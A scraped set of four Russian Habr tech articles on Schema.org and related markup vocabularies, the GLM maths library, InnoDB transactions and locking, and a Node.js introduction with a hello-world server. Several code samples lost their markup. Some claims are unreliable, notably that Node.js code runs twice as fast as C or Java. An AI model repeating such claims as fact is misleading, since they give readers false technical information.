[Schema.org](http://schema.org/) — это словарь, который появился по инициативе поисковых систем в 2011 году. Его поддерживают Яндекс, Google, Bing и Yahoo!
В Schema.org также представлены наборы классов, описывающих различные сущности и их свойства. Но если в OG и Microformats.org такие классы исчисляются десятками, в Schema.org их уже несколько сотен. Все классы имеют свое место в [древовидной иерархии](http://schema.org/docs/full.html).
Это живой и гибкий словарь. Новые сущности активно обсуждаются перед добавлением: для этого участники инициативной группы еженедельно встречаются и обсуждают внедрение, расширение и использование схем.
Наиболее обобщенный тип сущности — это [Thing](http://schema.org/Thing), у которого есть подтипы. Рассмотрим несколько из них:
* [Action](http://schema.org/Action) — описывает действие, которое может выполнятся кем-то определенным (человеком или организацией). У этого действия может дополнительно быть указано место, объект и инструменты, с помощью которых оно было совершено. Как у любого действия, у него может быть результат, участники и период времени, в течение которого оно совершалось. С помощью этого класса, описывающего действия, развиваются [Яндекс.Острова](http://beta.yandex.ru/promo), а также реализован проект [Gmail Actions](https://developers.google.com/gmail/actions/overview).
* [CreativeWork](http://schema.org/CreativeWork) — описывает особенности творческих работ. Видео, картинки, рецепты, диеты — все может быть описано с помощью этого типа. У всех творческих работ можно указать автора, жанр, краткое описание, а также отзывы, аудиторию, упоминания и многое другое.
* [Event](http://schema.org/Event) — как у любого мероприятия, здесь можно описать место проведения, дату, участников, выступающих и т.д.
* [Product](http://schema.org/Product) — это все, что продается и покупается. Некоторые платные сервисные услуги (как, например, стрижка) тоже могут быть описаны типом Product. У продукта может быть указан рейтинг, бренд, цвет, аудитория, цена, модель и т.д.
* [Person](http://schema.org/Person) — как указано в документации Schema.org, это может быть человек — живой, вымышленный или уже умерший, — а также «undead» (видимо, создателям нужно было описать еще зомби и не нашлось более подходящего типа). У людей могут быть указаны контактные данные, информация о работе, семье, отношениях и многое другое.
Процесс создания и внедрения новых типов довольно увлекательный и в некоторых случаях очень интересный и неожиданный. В очередном обсуждении стало понятно, что далеко не просто сделать так, чтобы внедряемые схемы совпадали с русской ментальностью и международным представлением о прекрасном.
Из нашего опыта. Почти год внедрялись 7 новых полей в тип [schema.org/PeopleAudience](http://schema.org/PeopleAudience), так как сомнениям политкорректных европейцев и американцев не было предела: «Как можно указывать максимальный возраст целевой аудитории? То, что мужчине за 30, еще не значит, что ему не интересны книжки для маленьких девочек!» Ок, предлагаемые поля maxAge и minAge превращаются в suggestedMaxAge и suggestedMinAge. С полом оказалось тоже все сложно. Убедить в том, что пол может быть однозначно указан не удалось — неполиткорректно. Так что gender превратился в suggestedGender.
Так долго, кропотливо, внедряется каждое свойство и каждый тип — ведь словарь помимо того, что должен максимально покрывать область использования, быть международным, также должен отражать интересы всех участников и быть однозначным с точки зрения разных стран и культур. И, тем не менее, внедрить новое свойство или тип всегда проще, чем удалить или изменить, ведь при удалении необходимо что-то делать с теми, кто уже внедрил у себя эти поля или типы.
Также предусматривается возможность расширять словарь по инициативе пользователей и вебмастеров.
Существует публичная рассылка на английском языке [public-vocabs@w3.org](http://lists.w3.org/Archives/Public/public-vocabs/), созданная для обсуждения общих вопросов, предложений и сообщений об ошибках, куда также можно написать письмо с вопросом о разметке, если у вас не получается что-то внедрить. Есть [механизм расширения](http://www.schema.org/docs/extension.html), а также с мая 2011 года [можно использовать](http://blog.schema.org/2012/05/schemaorg-markup-for-external-lists.html) списки на внешних ресурсах для указания различных свойств.
Так что если вы хотите принять участие в развитии семантической разметки, в частности словаря Schema.org, у вас такая возможность есть ;)
Пример разметки Schema.org для типа [Person](http://schema.org/Person):
```
Юрий Гагарин
Летчик-космонавт
Валентина Терешкова
Россия
9 марта 1934
Военно-воздушные силы СССР
Сергей Королев
27 марта 1968
Герой Советского союза
[Страница на Википедии](http://ru.wikipedia.org/wiki/Гагарин,_Юрий_Алексеевич)
[Сайт Юрия Гагарина](http://example.com/Гагарин)
```
В такой разметке поисковая система распознает, что человек по имени Юрий Гагарин является летчиком-космонавтом и является коллегой Валентины Терешковой. Также указано много других данных: его награда, национальность, дата смерти, знакомства и другие — некоторые из этих свойств можно указать только с помощью словаря Schema.org. Здесь есть две ссылки, размеченные с помощью свойств «sameAs» и «url», где в первом случае указывается страница с достоверной информацией о человеке, а во втором — ссылка на личный сайт.
Хочется еще раз отметить, что Schema.org — это инициатива поисковиков. И развитие словаря будет зависеть от создания продуктов поисковыми системами для сайтов. Поэтому не стоит воспринимать этот словарь как попытку привести к единой онтологии все существующее на свете. Все существующее в интернете — возможно. Но если это будет нужно поисковым системам.
А в создании большого количества продуктов для сайтов на основе Schema.org, в том числе для русскоязычных, поисковые системы безусловно заинтересованы.
Познакомиться с полным описанием словаря можно на [официальном сайте](http://schema.org/docs/documents.html). Существует неофициальный и пока неполный перевод стандарта на русский язык на [сайте](http://ruschema.org).
##### Microformats.org
[Microformats.org](http://microformats.org/) (Микроформаты) — это открытый стандарт, созданный в 2007 году сообществом энтузиастов. Это сообщество очень хотело создать стандарт для семантической разметки сайтов, используя ранее существующие технологии. Шесть лет назад это было определенным плюсом стандарта, так как его было проще внедрять, но сейчас добавлять разметку микроформатов не проще, а в некоторых случаях и сложнее других словарей. По сравнению с OG и Schema.org, его используют все меньше и меньше.
На данный момент есть около 10 распространенных спецификаций микроформатов для нескольких предметных областей. Какие-то из них завершены, но большая часть находится на стадии черновиков. Существуют микроформаты для публикации сведений об организациях, товарах, отзывах, событиях и многих других сущностях. Каждая сущность имеет собственные свойства.
Разработка новых микроформатов происходит в открытом режиме, есть отдельная [вики микроформатов](http://microformats.org/wiki/Main_Page). Из-за того что при создании каждого микроформата основатели стремятся договориться и найти компромисс со всеми, процесс длится очень долго, а порой и не заканчивается. Из-за этого доработанные микроформаты можно пересчитать на пальцах, а тех, что имеют статус черновиков довольно много.
В настоящее время поисковыми системами поддерживаются такие микроформаты:
* hCard — формат разметки контактной информации (адресов, телефонов и т. д.);
* hRecipe — формат для описания кулинарных рецептов;
* hReview — формат разметки отзывов;
* hProduct — формат разметки товаров.
Их использование дает возможность показывать специальные сниппеты в выдаче.
Один из самых популярных микроформатов — hCard. Микроформат hCard универсален для описания людей и организаций, содержит базовую информацию и о том и о другом.
Используя hcard можно указать такие свойства, как:
* n — имя;
* bday — дата рождения;
* geo — географическое расположение;
* tz — часовой пояс;
* uid — ссылка на идентичную сущность;
* photo — изображение;
* adr — адрес;
* org — название организации.
Это часть утвержденных свойств, есть также множество тех, которые находятся на стадии обсуждения. Вот как используется hcard в разметке описания человека:
```
**Юрий Гагарин**
Летчик-космонавт at Военно-воздушные силы СССР
[Страница Ю.Гагарина](http://example.com/Гагарин)
9 марта 1934
Первый человек в космосе
```
Здесь поисковой системе понятно, что речь идет об организации либо о человеке по имени Юрий Гагарин — это летчик-космонавт, работавший в Военно-воздушных силах СССР. Также известна его дата рождения и есть заметка «Первый человек в космосе». Свойство url здесь указывает на домашнюю страницу описываемого объекта.
В 2013 была объявлена новая инициатива — [microformats 2](http://microformats.org/wiki/microformats2), в которой есть нововведения в названиях классов и упрощения для использования свойств.
Раньше микроформаты были довольно распространены, но сегодня, особенно на фоне других быстрорастущих словарей, они выглядят ~~бессмысленными и беспощадными~~ устаревшими. К тому же использование микроформатов ограничивает их формат — это объединенный стандарт синтаксиса и словаря, в котором нельзя использовать другие словари. (О том, что из себя представляет синтаксис будет следующая статья).
**Мы рассмотрели наиболее распространенные и разработанные словари. Но есть еще довольно много узкоспециализированных, небольших словарей, которые тоже создавались для решения вопроса о передаче данных. Расскажу о наиболее интересных из них.**
#### Другие словари
##### FOAF
Словарь [FOAF](http://www.foaf-project.org/) (акроним от Friend of a Friend — «друг друга») специализируется на связях между людьми, их взаимодействиях и объединениях.
В нем присутствуют такие классы, как Agent, Organization, Group, Person. У них могут быть различные свойства, описывающие людей или группы в жизни. Есть обычные — age, gender, surname, birthday, а также есть свойства:
* привязанные к социальным сетям: skypeID, yahooChatID. jabberID.
* специфичные: например, knows — для описания знакомства людей между собой или myersBriggs, отражающее результаты профориентационного теста [Майерс-Бриггс](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%B9%D0%B5%D1%80%D1%81-%D0%91%D1%80%D0%B8%D0%B3%D0%B3%D1%81) (да, мы тоже только узнали что это такое).
Пример разметки:
```
Jimmy Wales
Jimbo
Angela Beesley
```
В [поиске по блогам от Яндекса](http://api.yandex.ru/blogs/) используется этот словарь. В него было добавлено [свое расширение](http://api.yandex.ru/blogs/doc/indexation/concepts/what-is-foaf.xml), помогающее точно описать блоги пользователей (в Рунете в основном используется именно это расширение).
##### Data Vocabulary
Словарь [Data Vocabulary](http://www.data-vocabulary.org/) разрабатывался компанией Google. На данный момент он уже не развивается, так как вся разработка плавно перетекла в [Schema.org](http://schema.org/)
Ранее поддерживались такие типы, как [Person](http://www.data-vocabulary.org/Person/), [Organization](http://www.data-vocabulary.org/Organization/), [Breadcrumb](http://www.data-vocabulary.org/Breadcrumb/), [Review](http://www.data-vocabulary.org/Review/), [Product](http://www.data-vocabulary.org/Product/), [Address](http://www.data-vocabulary.org/Address/) — можно сказать, что они стали прототипами классов [Schema.org](http://schema.org/).
##### Dublin Core
Словарь [Dublin Core](http://dublincore.org/) (или Дублинское ядро) используется в электронных библиотеках и документах. Дублинского ядро появилось по инициативе группы специалистов библиотечного и музейного дела.
Dublin Core появился в 1995 году с [базовым набором](http://dublincore.org/documents/dcmi-terms/#H3) из 15 элементов, таких как Title, Creator, Subject, Description, Publisher, Rights и др. Сейчас уже [множество](http://dublincore.org/documents/dcmi-terms/#H2) различных классов и свойств.
В России с 2011 года для него даже действует государственный стандарт ГОСТ Р 7.0.10-2010 ([ИСО 15836:2003](http://www.iso.org/iso/iso_catalogue/catalogue_ics/catalogue_detail_ics.htm?csnumber=52142)) [«Национальный стандарт Российской Федерации. Система стандартов по информации, библиотечному и издательскому делу. Набор элементов метаданных «Дублинское ядро»»](http://protect.gost.ru/document.aspx?control=7&id=177567)
Пример разметки Dublin Core
```
Song of the Open Road
```
I think that I shall never see
A billboard lovely as a tree.
Indeed, unless the billboards fall
I'll never see a tree at all.
```
```
##### Good Relations
Словарь [Good Relations](http://www.heppnetz.de/projects/goodrelations/) используется с 2008 года как стандарт для описания продуктов электронной торговли. Создатели рассчитывали, что использование такой разметки будет давать структурированное представление товаров и услуг в поисковых системах.
С помощью словаря можно указать специальные свойства для
* Компании — контактные данные, месторасположение, лого;
* Магазина — адрес, часы работы, телефон;
* Отдельного продукта — категория товара, краткое описание, код, способы оплаты доставки, а также функции для услуг (ремонт, установка, аренда и др.)
Good relations описывает следующие сферы интернет-торговли: Books (Книги), Cars (Авто), Classified ads (Объявления), Concert tickets (Билеты на концерты), Consumer electronics (Бытовая техника), Guided tours and outdoor events (Экскурсии и мероприятия) и [другие](http://wiki.goodrelations-vocabulary.org/Cookbook).
В Рунете этот словарь практически не используется, но встречается на некоторых крупных зарубежных сайтах ([Volkswagen UK](http://www.volkswagen.co.uk/), [Strobelight-Shop](http://strobelight-shop.com/), [lux-case.se](http://lux-case.se/)). Из поисковиков разметку GR распознает [Google](https://support.google.com/webmasters/answer/146750?rd=1).
Пример разметки с использованием Good Relations:
```
HTML for Idiots - Used Copy, $ 9.99
Price:
$
9.99
```
Стандарт Good Relations [с ноября 2012 года интегрирован в Schema.org](http://blog.schema.org/2012/11/good-relations-and-schemaorg.html), у словаря также есть свой [валидатор](http://www.ebusiness-unibw.org/tools/goodrelations-validator/)
##### Расширения Яндекса для словарей
Для получения всех необходимых данных от сайтов в Яндексе разрабатываются свои [расширения для некоторых словарей](http://webmaster.yandex.ru/vocabularies/).
Например, это понадобилось для разметки:
* интерактивных ответов в Яндекс.Островах (для описания [форм](http://help.yandex.ru/webmaster/?id=1127879) и [кнопок](http://help.yandex.ru/webmaster/?id=1127950));
* словарных статей ([терминов](http://webmaster.yandex.ru/vocabularies/term-def.xml) и [научных статей](http://webmaster.yandex.ru/vocabularies/enc-article.xml));
* [рейтинга организаций](http://webmaster.yandex.ru/vocabularies/ReviewBusiness/);
* [целевой аудитории](http://help.yandex.ru/webmaster/?id=1127898).
В следующих постах мы хотим рассказать подробно о других разделах семантической разметки — например, о синтаксисах, о продуктах и примерах внедрения. Если вам интересны еще какие-то темы — поделитесь этим в комментариях. | https://habr.com/ru/post/211638/ | null | ru | null |
# OpenGL Mathematics (GLM) Обзор библиотеки
Данный текст является обзором библиотеки математических вычислений для OpenGL – GLM. Создан обзор дабы по мнению автора залатать брешь в информационном вакууме и направить умы несознательные по пути верному.
Математический функции в OpenGL никогда не были на высоте, а с приходом новых стандартов OpenGL 3(4,ES), математики не стало вообще. И что самое обидное, нам ничего не дали в замен. Как же теперь крутить кубы и торосы, в условиях безграничной свободы шейдерного программирования?
Напомню, что почти все манипуляции с трансформацией в 3D пространстве происходят благодаря использованию матриц и векторов. И все glRotate, glScale, glTranslate и т.п. ни что иное как формирование матрицы. Затем одну или произведение разных матриц перемножаем с вектором и попадаем в нужное место.
В связи с этим, первое решение которое приходит на ум, это написать свою библиотеку для работы с матрицами и векторами. Изобретение велосипедов дело хорошее но не всегда благодарное, баги, неверные подходы и т.п. Второе, это использовать готовую библиотеку. Вот тут возникает вопрос — а какую? Обычная библиотека для матричных преобразований работает с общими случаями и поэтому работает медленно. Нам же нужна библиотека оптимизированная под работу с матрицами 3х3 и 4х4. Кандидатом в такие библиотеки является GLM.
Брать либу тут: [glm.g-truc.net](http://glm.g-truc.net/)
Как мне показалось, главное достоинство библиотеки описано на в заголовке на первой странице сайта в фразе «GLSL + Optional features = OpenGL Mathematics (GLM)». Тоесть, библиотека по синтаксису и функционалу схожа с GLSL(язык шейдеров для OpenGL), но также имеет некие «Optional features» расширяющие список возможностей библиотеки.
Также отмечу, что библиотека совместима со всеми современными компиляторами с++, и даже с такой штукой как CUDA и что приятно, при подключении не требует указания библиотек или dll.
Внутри библиотека разделена на 2 части, первая часть glm.hpp — содержит описание основных типов, вторая часть это библиотека расширений ext.hpp — подключающая множество вкусных функций, таких как rotate, translate, scale, lookAt и многих других. Хотя в документации предлагается подключать расширения отдельно, указывая ту или иную библиотеку.
```
#include
#include
```
Расширения библиотеки делятся на несколько групп.
GTC – стандартные версии расширений или как сказано в заголовке ext.hpp (Stable)
GTX – экспериментальные расширения результат работы которых гарантирован и вы используете их на свой страх и риск.
VIRTREV — судя по всему что-то связанной с выводом матриц через потоки ввода\вывода
Ну а так как библиотека на плюсах то она естественно имеет собственный namespace который зовется glm.
О работе библиотеки прекрасно говорит официальный мануал [glm.g-truc.net/glm.pdf](http://glm.g-truc.net/glm.pdf).
Вот пара примеров показывающих использование библиотеки.
```
#include
#include
void foo(){
glm::vec4 Position = glm::vec4(glm:: vec3(0.0f), 1.0f);
glm::mat4 Model = glm::translate(glm::mat4(1.0f), glm::vec3(1.0f));
Model = glm::rotate(Model,45,0,1,0);
glm::vec4 Transformed = Model \* Position;
}
```
Еще один пример использования GLM вместе с OpenGL
```
#include
#include
using namespace glm;
void foo(){
vec4 v(0.0f);
mat4 m(1.0f);
...
glVertex3fv(value\_ptr(v))
glLoadMatrixfv(value\_ptr(m));
}
```
Обозреть весь функционал библиотеки в одной статье невозможно. А может она многое, есть и работа с цветом и даже обычные математические функции sin, cos. А каким там вкусные рандомы.
Для сомневающихся в качестве кода отмечу, внутри библиотеки довольно грамотный код оптимизированный для частных случаев.
Вот пример умножения матрицы на матрицу переноса, перенос задан вектором:
```
template
GLM\_FUNC\_QUALIFIER detail::tmat4x4 translate
(
detail::tmat4x4 const & m,
detail::tvec3 const & v
)
{
detail::tmat4x4 Result(m);
Result[3] = m[0] \* v[0] + m[1] \* v[1] + m[2] \* v[2] + m[3];
return Result;
}
```
Подводя итог написанного выше, GLM является достойной библиотекой как для тех кто пишет код под CORE\_PROFILE так и для тех кто работает с OpenGL по старинке. Само использование данной библиотеки приблизит вас к современным стандартам шейдерного программирования, и кстати сделает ваш код более эффективным. Так как вы получите полный контроль над математическими вычислениями. | https://habr.com/ru/post/138731/ | null | ru | null |
# Транзакции InnoDB
InnoDB это транзакционный, реляционный движок работающий на основе MySQL сервера. Начиная с 2001 года он поставляется в стандартной сборке, а с версии 5.1 может устанавливаться в качестве плагина (без необходимости перекомпилировать ядро сервера). Синтаксис очень простой.
`START TRANSACTION;
...
COMMIT; -- или же ROLLBACK; если что-то пошло в логике не так`
### Про определение
Определение транзакционности и реляционности значат во-первых значат полноценную связанность таблиц через FK и как следствие — целостность данных при удалении рядов. С MyIsam как известно приходилось вручную удалять связанные данные в нескольких таблицах, в InnoDB — каскадное удаление одним запросом. Во-вторых поскольку для БД немыслимы параллельные версии данных как в SVN и некому эти версии объединять в одну ветку, но при этом необходима параллельная работа нескольких процессов (пользователей) с одними данными, то в качестве решения становится транзакции.
Очередь из запросов-автомобилей теперь пополняется атомарной транзакцией-автобусом. Естественно это плохо, поскольку чем длиней и дольше выполняется транзакция тем больше параллельных процессов будут ждать его. Для ускорения работы создаются остановки — типы и уровни блокировки данных. Для InnoDB по умолчанию это блокирование на уровне строки (по PK), тогда как в MyIsam атомарная операция блокирует всю таблицу.
### Тразнактивность = блокировка
Два движка поэтому нельзя сравнивать — InnoDB из-за транзактивности приходится спускаться на уровень строк, поскольку вероятность очереди к одной и той же строке у двух процессов ниже, следовательно быстрей будет работа. Но как результат — на каждую строку приходится делать флаги блокировки, значит чуть больше памяти. Из-за разницы в уровнях блокировки данных, сравнивать InnoDB с MyIsam по производительности в зависимости от числа процессов достаточно трудно.
Есть несколько типов блокировок
* READ (пока я читаю — никто не запишет) — по умолчанию на SELECT ставится
* WRITE (пока я пишу — никто не прочтёт и не запиет) — по умолчанию на UPDATE ставится
* LOW\_PRIORITY WRITE (дам быстро прочитать если кто-то ждёт)
В качестве ликбеза — блокировать можно вручную целую таблицу (но не нужно ибо для InnoDB это убого тормозит все процессы). Повторное блокирование снимает предыдущие блокировки. Блокировать можно и виртуальные таблицы (view)
`LOCK TABLES user WRITE, company READ;
UNLOCK TABLES;`
### Уровни изоляции
В случаях когда два процесса одновременно и частично затрагивают общие данные то не обязательно все данные будут полностью блокированы. Существуют послабления, когда параллельные транзакции получают доступ к незавершённым транзакциям.
Текущий уровень можно получить из настроек, можно [прописать в настройки](http://dev.mysql.com/doc/refman/5.1/en/set-transaction.html) или исполнить запросом — как на время транзакции так и на время всего соединения.
`SELECT @@global.tx_isolation;
SET TRANSACTION ISOLATION LEVEL READ COMMITED;`
По степени точности (строгости блокировки) по убыванию согласно стандарту SQL92 выделяют:
* SERIALIZEABLE — полная независимость транзакций, в т.ч. своё чтение
* REPEATABLE READ (повторяющееся чтение) — значение для InnoDB по умолчанию. Чтение общих строк в транзакциях разрешается, но не их изменение.
* READ COMMITED (чтение фиксированного) — блокировка записи, но общее чтение. Есть проблема повторяющегося чтения, т.е. в первой транзакции несколь раз по разному читаются общие данные, потому что вторая транзакция их меняет.
* READ UNCOMMITED («грязное» чтение незафиксированного) — никакой блокировки на чтение и запись. При двух одновременных UPDATE поле получит значение последнего изменения в обоих транзакциях. Возможны множество проблем, особенно если до ROLLBACK одной транзакции изменения читает другая.
В REPEATABLE READ существует [проблема фантомной вставки](http://dev.mysql.com/doc/refman/5.0/en/innodb-next-key-locking.html). Поскольку блокируются только ряды на UPDATE, но не на INSERT, то параллельно с транзакцией повторяющегося чтения можно сделать вставку, из-за чего возникнет фантомный ряд. Что-бы этого избежать InnoDB использует три способа блокировки — строка, диапазон и следующая строка на случай вставки (глубже я вчитываться не стал)
Вся эта теория конечно полезна, но по настоящему они используются реальными запросами.
1. Чтение с уровенем REPEATABLE READ (блокировка на запись). Ждёт если над данными кто-то работает.
`SELECT... LOCK IN SHARE MODE`
2. Чтение в режиме SERIALIZEABLE (блокировка на чтение и запись)
`SELECT... FOR UPDATE`
При этих запросах на время исполнении транзакции она переходит в новый режим.
#### Травматизм deadlock'ов
Deadlock'и, т.е. тупиковая ситуация одновременных процессов (потоков) которые нуждаются в одних и тех же или зависимых друг от друга данных часто возникают в программировании. InnoDB не исключение. Например если идут две транзакции и каждая хочет изменить ресурсы (строки/диапазон строк) которые сейчас заблокированы. Получается что ни одна транзакция не может закончится.
В таких ситуациях InnoDB вынуждена откатить одну из транзакций и выдать ошибку
`ERROR 1213 (40001): Deadlock found when trying to get lock; try
restarting transaction`
Такие проблемы возникают при большой параллельной вставке/изменении/удалении рядов несколькими процессами. MySQL [советуют](http://dev.mysql.com/doc/refman/5.0/en/innodb-deadlocks.html) все транзакции снабжать повторным запуском транзакций.
По теме..
* [Сравнение нагрузок на MyIsam и InnoDB](http://www.mysqlperformanceblog.com/2007/01/08/innodb-vs-myisam-vs-falcon-benchmarks-part-1/) в 2007 году
* [Ссылочная целостность](http://ru.wikipedia.org/wiki/%D0%A1%D1%81%D1%8B%D0%BB%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D1%86%D0%B5%D0%BB%D0%BE%D1%81%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C)
[Оригинал статьи](http://kurapov.name/technology/web/databases/mysql/innodb_transactions) | https://habr.com/ru/post/57226/ | null | ru | null |
# Руководство по Node.js, часть 1: общие сведения и начало работы
Мы начинаем публикацию серии материалов, которые представляют собой поэтапный перевод [руководства](https://medium.freecodecamp.org/the-definitive-node-js-handbook-6912378afc6e) по Node.js для начинающих. А именно, в данном случае «начинающий» — это тот, кто обладает некоторыми познаниями в области браузерного JavaScript. Он слышал о том, что существует серверная платформа, программы для которой тоже пишут на JS, и хотел бы эту платформу освоить. Возможно, вы найдёте здесь что-то полезное для себя и в том случае, если уже знакомы с Node.js.
Кстати, в прошлом году у нас был похожий по масштабам [проект](https://habr.com/company/ruvds/blog/325522/), посвящённый bash-скриптам. Тогда мы, после публикации всех запланированных материалов, собрали их в виде [PDF-файла](https://habr.com/company/ruvds/blog/336764/). Так же планируется поступить и в этот раз.
[](https://habr.com/company/ruvds/blog/422893/)
Сегодня мы обсудим особенности Node.js, начнём знакомство с экосистемой этой платформы и напишем серверный «Hello World».
**[Советуем почитать] Другие части цикла**Часть 1: [Общие сведения и начало работы](https://habr.com/company/ruvds/blog/422893/)
Часть 2: [JavaScript, V8, некоторые приёмы разработки](https://habr.com/company/ruvds/blog/423153/)
Часть 3: [Хостинг, REPL, работа с консолью, модули](https://habr.com/company/ruvds/blog/423701/)
Часть 4: [npm, файлы package.json и package-lock.json](https://habr.com/company/ruvds/blog/423703/)
Часть 5: [npm и npx](https://habr.com/company/ruvds/blog/423705/)
Часть 6: [цикл событий, стек вызовов, таймеры](https://habr.com/company/ruvds/blog/424553/)
Часть 7: [асинхронное программирование](https://habr.com/company/ruvds/blog/424555/)
Часть 8: [Руководство по Node.js, часть 8: протоколы HTTP и WebSocket](https://habr.com/company/ruvds/blog/424557/)
Часть 9: [Руководство по Node.js, часть 9: работа с файловой системой](https://habr.com/company/ruvds/blog/424969/)
Часть 10: [Руководство по Node.js, часть 10: стандартные модули, потоки, базы данных, NODE\_ENV](https://habr.com/company/ruvds/blog/425667/)
[Полная PDF-версия руководства по Node.js](https://habr.com/company/ruvds/blog/428576/)
Обзор Node.js
-------------
Node.js — это опенсорсная кроссплатформенная среда выполнения для JavaScript, которая работает на серверах. С момента выпуска этой платформы в 2009 году она стала чрезвычайно популярной и в наши дни играет весьма важную роль в области веб-разработки. Если считать показателем популярности число звёзд, которые собрал некий проект на GitHub, то [Node.js](https://github.com/nodejs/node), у которого более 50000 звёзд, это очень и очень популярный проект.
Платформа Node.js построена на базе JavaScript движка V8 от Google, который используется в браузере Google Chrome. Данная платформа, в основном, используется для создания веб-серверов, однако сфера её применения этим не ограничивается.
Рассмотрим основные особенности Node.js.
### ▍Скорость
Одной из основных привлекательных особенностей Node.js является скорость. JavaScript-код, выполняемый в среде Node.js, может быть в два раза быстрее, чем код, написанный на компилируемых языках, вроде C или Java, и на порядки быстрее интерпретируемых языков наподобие Python или Ruby. Причиной подобного является неблокирующая архитектура платформы, а конкретные результаты зависят от используемых тестов производительности, но, в целом, Node.js — это очень быстрая платформа.
### ▍Простота
Платформа Node.js проста в освоении и использовании. На самом деле, она прямо-таки очень проста, особенно это заметно в сравнении с некоторыми другими серверными платформами.
### ▍JavaScript
В среде Node.js выполняется код, написанный на JavaScript. Это означает, что миллионы фронтенд-разработчиков, которые уже пользуются JavaScript в браузере, могут писать и серверный, и клиентский код на одном и том же языке программирования без необходимости изучать совершенно новый инструмент для перехода к серверной разработке.
В браузере и на сервере используются одинаковые концепции языка. Кроме того, в Node.js можно оперативно переходить на использование новых стандартов ECMAScript по мере их реализации на платформе. Для этого не нужно ждать до тех пор, пока пользователи обновят браузеры, так как Node.js — это серверная среда, которую полностью контролирует разработчик. В результате новые возможности языка оказываются доступными при установке поддерживающей их версии Node.js.
### ▍Движок V8
В основе Node.js, помимо других решений, лежит опенсорсный JavaScript-движок V8 от Google, применяемый в браузере Google Chrome и в других браузерах. Это означает, что Node.js пользуется наработками тысяч инженеров, которые сделали среду выполнения JavaScript Chrome невероятно быстрой и продолжают работать в направлении совершенствования V8.
### ▍Асинхронность
В традиционных языках программирования (C, Java, Python, PHP) все инструкции, по умолчанию, являются блокирующими, если только разработчик явным образом не позаботится об асинхронном выполнении кода. В результате если, например, в такой среде, произвести сетевой запрос для загрузки некоего JSON-кода, выполнение потока, из которого сделан запрос, будет приостановлено до тех пор, пока не завершится получение и обработка ответа.
JavaScript значительно упрощает написание асинхронного и неблокирующего кода с использованием единственного потока, функций обратного вызова (коллбэков) и подхода к разработке, основанной на событиях. Каждый раз, когда нам нужно выполнить тяжёлую операцию, мы передаём соответствующему механизму коллбэк, который будет вызван сразу после завершения этой операции. В результате, для того чтобы программа продолжила работу, ждать результатов выполнения подобных операций не нужно.
Подобный механизм возник в браузерах. Мы не можем позволить себе ждать, скажем, окончания выполнения AJAX-запроса, не имея при этом возможности реагировать на действия пользователя, например, на щелчки по кнопкам. Для того чтобы пользователям было удобно работать с веб-страницами, всё, и загрузка данных из сети, и обработка нажатия на кнопки, должно происходить одновременно, в режиме реального времени.
Если вы создавали когда-нибудь обработчик события нажатия на кнопку, то вы уже пользовались методиками асинхронного программирования.
Асинхронные механизмы позволяют единственному Node.js-серверу одновременно обрабатывать тысячи подключений, не нагружая при этом программиста задачами по управлению потоками и по организации параллельного выполнения кода. Подобные вещи часто являются источниками ошибок.
Node.js предоставляет разработчику неблокирующие базовые механизмы ввода вывода, и, в целом, библиотеки, использующиеся в среде Node.js, написаны с использованием неблокирующих парадигм. Это делает блокирующее поведение кода скорее исключением, чем нормой.
Когда Node.js нужно выполнить операцию ввода-вывода, вроде загрузки данных из сети, доступа к базе данных или к файловой системе, вместо того, чтобы заблокировать ожиданием результатов такой операции главный поток, Node.js инициирует её выполнение и продолжает заниматься другими делами до тех пор, пока результаты выполнения этой операции не будут получены.
### ▍Библиотеки
Благодаря простоте и удобству работы с менеджером пакетов для Node.js, который называется [npm](https://flaviocopes.com/npm/), экосистема Node.js прямо-таки процветает. Сейчас в [реестре npm](https://www.npmjs.com/) имеется более полумиллиона опенсорсных пакетов, которые может свободно использовать любой Node.js-разработчик.
Рассмотрев некоторые основные особенности платформы Node.js, опробуем её в действии. Начнём с установки.
Установка Node.js
-----------------
Node.js можно устанавливать различными способами, которые мы сейчас рассмотрим.
Так, официальные установочные пакеты для всех основных платформ можно найти [здесь](https://nodejs.org/en/download/).
Существует ещё один весьма удобный способ установки Node.js, который заключается в использовании менеджера пакетов, имеющегося в операционной системе. Например, менеджер пакетов macOS, который является фактическим стандартом в этой области, называется [Homebrew](https://brew.sh/). Если он в вашей системе есть, вы можете установить Node.js, выполнив эту команду в командной строке:
```
brew install node
```
Список менеджеров пакетов для других операционных систем, в том числе — для Linux и Windows, можно найти [здесь](https://nodejs.org/en/download/package-manager/).
Популярным менеджером версий Node.js является [nvm](https://github.com/creationix/nvm/blob/master/README.md). Это средство позволяет удобно переключаться между различными версиями Node.js, с его помощью можно, например, установить и попробовать новую версию Node.js, после чего, при необходимости, вернуться на старую. Nvm пригодится и в ситуации, когда нужно испытать какой-нибудь код на старой версии Node.js.
Я посоветовал бы начинающим пользоваться официальными установщиками Node.js. Пользователям macOS я порекомендовал бы устанавливать Node.js с помощью Homebrew. Теперь, после того, как вы установили Node.js, пришло время написать «Hello World».
Первое Node.js-приложение
-------------------------
Самым распространённым примером первого приложения для Node.js можно назвать простой веб-сервер. Вот его код:
```
const http = require('http')
const hostname = '127.0.0.1'
const port = 3000
const server = http.createServer((req, res) => {
res.statusCode = 200
res.setHeader('Content-Type', 'text/plain')
res.end('Hello World\n')
})
server.listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`)
})
```
Для того чтобы запустить этот код, сохраните его в файле `server.js` и выполните в терминале такую команду:
```
node server.js
```
Для проверки сервера откройте какой-нибудь браузер и введите в адресной строке `http://127.0.0.1:3000`, то есть — тот адрес сервера, который будет выведен в консоли после его успешного запуска. Если всё работает как надо — на странице будет выведено «Hello World».
Разберём этот пример.
Для начала, обратите внимание на то, что код содержит команду подключения модуля [http](https://nodejs.org/api/http.html).
Платформа Node.js является обладателем замечательного [стандартного набора модулей](https://nodejs.org/api/), в который входят отлично проработанные механизмы для работы с сетью.
Метод `createServer()` объекта `http` создаёт новый HTTP-сервер и возвращает его.
Сервер настроен на прослушивание определённого порта на заданном хосте. Когда сервер будет готов, вызывается соответствующий коллбэк, сообщающий нам о том, что сервер работает.
Когда сервер получает запрос, вызывается событие `request`, предоставляющее два объекта. Первый — это запрос (`req`, объект [http.IncomingMessage](https://nodejs.org/api/http.html#http_class_http_incomingmessage)), второй — ответ (`res`, объект [http.ServerResponse](https://nodejs.org/api/http.html#http_class_http_serverresponse)). Они представляют собой важнейшие механизмы обработки HTTP-запросов.
